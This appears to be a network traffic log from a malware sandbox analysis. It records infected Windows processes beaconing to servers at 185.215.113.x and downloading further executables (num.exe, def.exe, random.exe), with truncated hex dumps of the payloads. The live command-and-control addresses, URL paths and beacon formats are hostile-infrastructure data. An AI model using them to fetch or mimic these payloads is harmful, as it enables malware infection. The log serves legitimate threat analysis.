Oct 30, 2024 00:21:24.235830069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:24 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Tue, 29 Oct 2024 22:11:30 GMT Connection: keep-alive ETag: "67215d92-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 89 5d 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL]!g"Xw@`L@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 30, 2024 00:21:24.235847950 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 30, 2024 00:21:24.235912085 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 30, 2024 00:21:24.235925913 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 30, 2024 00:21:24.235939980 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Oct 30, 2024 00:21:24.236061096 CET	636	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Oct 30, 2024 00:21:24.236073017 CET	1236	IN	Data Raw: 00 00 33 c0 5f 5e 5b c9 c3 6a 69 58 e9 6c 06 04 00 55 8b ec 83 ec 3c 53 56 89 4d fc 8d 4d c8 57 e8 c2 07 00 00 8b 7d 0c 33 c0 c7 45 c8 02 00 00 00 8b c8 8a d8 8b 37 4e 89 75 0c 89 75 cc 33 f6 8b 17 52 8d 42 01 89 07 e8 33 06 00 00 85 c0 74 26 84 Data Ascii: 3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@M_^[IAUSV3PF3uMMWMU]MMMMEE
Oct 30, 2024 00:21:24.236083984 CET	212	IN	Data Raw: 00 83 e8 01 0f 84 72 03 04 00 8b 55 f8 8b 5d fc 83 e8 05 0f 85 a7 fc ff ff e9 d3 fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d4 03 04 00 83 7d f4 00 0f 85 82 fc ff ff e9 db 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d8 03 04 00 ff 45 f0 8d 45 Data Ascii: rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]/EHOxE}
Oct 30, 2024 00:21:24.236094952 CET	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Oct 30, 2024 00:21:24.236107111 CET	1236	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,PPhIPPWW5XMMj
Oct 30, 2024 00:21:24.243041992 CET	1236	IN	Data Raw: c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b 4d 08 3b 0c 90 74 08 ff 34 90 e8 21 78 00 00 b0 01 5d c2 04 00 8b 4d 08 68 08 cc 49 00 e8 9e 3a 00 00 32 c0 eb eb 56 57 8b f9 8d 77 14 8b ce e8 15 37 00 00 83 27 00 8b ce c6 47 24 Data Ascii: U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLHHPPjIUuUuMYY]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	59800	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:27.484713078 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 34 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002489001&unit=246122658369
Oct 30, 2024 00:21:28.396287918 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	59802	185.215.113.16	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:28.414923906 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 00:21:29.311255932 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:29 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 30, 2024 00:21:29.311337948 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]
Oct 30, 2024 00:21:29.311352968 CET	1236	IN	Data Raw: cc cc cc 55 8b ec 51 53 6a 04 68 00 30 00 00 68 c0 41 c8 17 6a 00 ff 15 30 72 6d 00 89 45 fc 50 83 f8 11 74 05 8b c0 fc 85 c9 0b c0 f8 58 83 7d fc 00 74 2c 90 8a c0 68 c0 9e e6 05 8b 45 fc 50 e8 3e 7a 01 00 53 8a c9 8a c9 fc 5b 68 00 80 00 00 68 Data Ascii: UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hjrmPrmE}ujqmR]U(EPqmMM}sjqm]
Oct 30, 2024 00:21:29.311367989 CET	1236	IN	Data Raw: c1 3c e8 98 95 01 00 8b 4d fc 83 c1 30 e8 8d 95 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 fb 94 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 Data Ascii: <M0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|M
Oct 30, 2024 00:21:29.311384916 CET	1236	IN	Data Raw: 8d 8d 94 fe ff ff e8 e0 91 01 00 8b c8 e8 69 92 01 00 8b c8 e8 d2 91 01 00 8b c8 e8 5b 92 01 00 8b c8 e8 54 92 01 00 8b c8 e8 4d 92 01 00 8b c8 e8 b6 91 01 00 50 8d 8d 94 fe ff ff e8 2a 91 01 00 8d 8d 6c fd ff ff e8 7f 90 01 00 8d 8d 78 fd ff ff Data Ascii: i[TMP*lxti^SH=R0Ph\|WB<QURHPhVBTQUR`P
Oct 30, 2024 00:21:29.311403990 CET	236	IN	Data Raw: 83 ec 0c 8b cc 52 e8 8c 8b 01 00 8b 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 75 8b 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8b 44 0a 0c 50 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8d 44 0a 10 83 ec 0c 8b cc 50 e8 49 8b 01 00 e8 a4 f7 ff Data Ascii: REk,PuMk,DPMk,DPIXURM]UEsmsmUsmPsmAsmBsm]U}t#E8tM
Oct 30, 2024 00:21:29.311424017 CET	1236	IN	Data Raw: 51 04 3b 55 0c 7c 05 8b 45 08 eb 0e 8b 45 08 8b 48 08 89 4d 08 eb d7 8b 45 08 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 33 d2 b9 00 10 00 00 f7 f1 85 d2 74 0c 8b 55 08 81 c2 00 10 00 00 89 55 08 8b 45 08 c1 e8 0c 5d c3 Data Ascii: Q;U\|EEHME]UE3tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Usm;EuMsmU
Oct 30, 2024 00:21:29.311441898 CET	1236	IN	Data Raw: 00 83 c4 0c a3 18 6e 6d 00 6a 0b 68 10 1f 42 00 68 1c 1f 42 00 e8 1d 21 00 00 83 c4 0c a3 34 70 6d 00 6a 14 68 28 1f 42 00 68 40 1f 42 00 e8 04 21 00 00 83 c4 0c a3 bc 6a 6d 00 6a 0d 68 58 1f 42 00 68 68 1f 42 00 e8 eb 20 00 00 83 c4 0c a3 2c 6b Data Ascii: nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBhB PomjhBhB \|kmjhBhB kmjhBh Bn kmjh Bh BU (mmjh( Bh8
Oct 30, 2024 00:21:29.311459064 CET	1236	IN	Data Raw: 6d 00 6a 14 68 e8 23 42 00 68 00 24 42 00 e8 50 1c 00 00 83 c4 0c a3 38 6f 6d 00 6a 0e 68 18 24 42 00 68 28 24 42 00 e8 37 1c 00 00 83 c4 0c a3 94 6b 6d 00 6a 0e 68 38 24 42 00 68 48 24 42 00 e8 1e 1c 00 00 83 c4 0c a3 e4 6d 6d 00 6a 18 68 58 24 Data Ascii: mjh#Bh$BP8omjh$Bh($B7kmjh8$BhH$BmmjhX$Bht$Bnmjh$Bh$Bnmjh$Bh$Bjmjh$Bh$Bnmjh$Bh$B<kmjh%Bh%BLlmjh %Bh8%Bo
Oct 30, 2024 00:21:29.311476946 CET	1236	IN	Data Raw: 2a 42 00 e8 87 17 00 00 83 c4 0c a3 24 70 6d 00 6a 14 68 70 2a 42 00 68 88 2a 42 00 e8 6e 17 00 00 83 c4 0c a3 88 6d 6d 00 6a 15 68 a0 2a 42 00 68 b8 2a 42 00 e8 55 17 00 00 83 c4 0c a3 b4 6b 6d 00 6a 0e 68 d0 2a 42 00 68 e0 2a 42 00 e8 3c 17 00 Data Ascii: B$pmjhpBhBnmmjhBhBUkmjhBhB<lmjhBh+B#omjh+Bh$+B,nmjh8+BhT+Bdnmjhp+Bh+B`kmjh+Bh+Bkmjh+Bh+Bmmj
Oct 30, 2024 00:21:29.318320036 CET	1236	IN	Data Raw: a3 c4 6d 6d 00 6a 13 68 58 31 42 00 68 6c 31 42 00 e8 a5 12 00 00 83 c4 0c a3 ac 6d 6d 00 6a 10 68 80 31 42 00 68 94 31 42 00 e8 8c 12 00 00 83 c4 0c a3 d4 6d 6d 00 6a 0d 68 a8 31 42 00 68 b8 31 42 00 e8 73 12 00 00 83 c4 0c a3 54 6f 6d 00 6a 14 Data Ascii: mmjhX1Bhl1Bmmjh1Bh1Bmmjh1Bh1BsTomjh1Bh1BZnmjh1Bh2BAomjh 2Bh02B(jmjh@2BhH2BjmjhP2Bhh2Bxomjh2Bh2Blmjh2Bh2B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	59810	185.215.113.16	80	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:31.061279058 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 00:21:31.956322908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:31 GMT Content-Type: application/octet-stream Content-Length: 2790400 Last-Modified: Tue, 29 Oct 2024 22:11:55 GMT Connection: keep-alive ETag: "67215dab-2a9400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 f7 3e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+>+`Ui` @ @.rsrc`2@.idata 8@kzqschdp@4:@ptbfmmvg n@.taggant@+"r*@
Oct 30, 2024 00:21:31.956343889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956370115 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956377029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956389904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956414938 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956432104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956471920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956480980 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 00:21:31.956617117 CET	1236	IN	Data Raw: b4 12 47 ed ae 15 7a ce ba 3a 78 23 b9 28 5e ea 0b 12 5c e5 8d 53 5f 19 6c b3 84 a8 ab 17 61 fe 00 e4 62 f3 6c 19 3f a7 d8 e4 14 b9 e6 33 56 49 fa b1 d6 2e 00 ff 72 09 ce 11 5b 17 05 10 58 45 0e 68 0c c0 d0 fe 56 0c de e5 11 de 10 1c 54 e6 ad 0b Data Ascii: Gz:x#(^\S_labl?3VI.r[XEhVTb,u39b31O]gOPd<]i4je[v83\;6QUW]>[]iRKk hMJ!K\|!Q_V]l>g9}a;W
Oct 30, 2024 00:21:31.963246107 CET	1236	IN	Data Raw: 55 8a fc ba ef 11 b7 f1 02 db 1d 00 bc 3b d1 ba 6a 21 61 ec 38 f7 68 ec 24 3a 1f ec ba b5 81 e7 30 2a 1a a8 24 da 7f b8 a7 ca 5d c8 37 fe 10 d0 f2 17 c1 85 c6 ea 7f 68 64 d9 e8 b6 ba 17 19 ed 33 9a 54 13 58 f7 ba 40 48 97 79 ec d9 2b 57 0d c9 72 Data Ascii: U;j!a8h$:0*$]7hd3TX@Hy+Wr%/XEUz^-tb1aSLVG/S_}oy~j+bvzzRk #p+lG~i+WI(uF#D"}a342
Oct 30, 2024 00:21:45.856146097 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 00:21:46.134749889 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:45 GMT Content-Type: application/octet-stream Content-Length: 1887744 Last-Modified: Tue, 29 Oct 2024 23:05:06 GMT Connection: keep-alive ETag: "67216a22-1cce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@Jbs@Wk0JJ @.rsrc@.idata @ *@vcnwvfjn0@ailsjwpvJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	59811	185.215.113.206	80	3524	C:\Users\user\AppData\Local\Temp\1002490001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:31.418284893 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 00:21:32.481528044 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 00:21:32.485840082 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKFCGDGHDHIECGCBK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 46 43 47 44 47 48 44 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="hwid"8114C295C6162235734526------GIJJKFCGDGHDHIECGCBKContent-Disposition: form-data; name="build"tale------GIJJKFCGDGHDHIECGCBK--
Oct 30, 2024 00:21:32.766345024 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
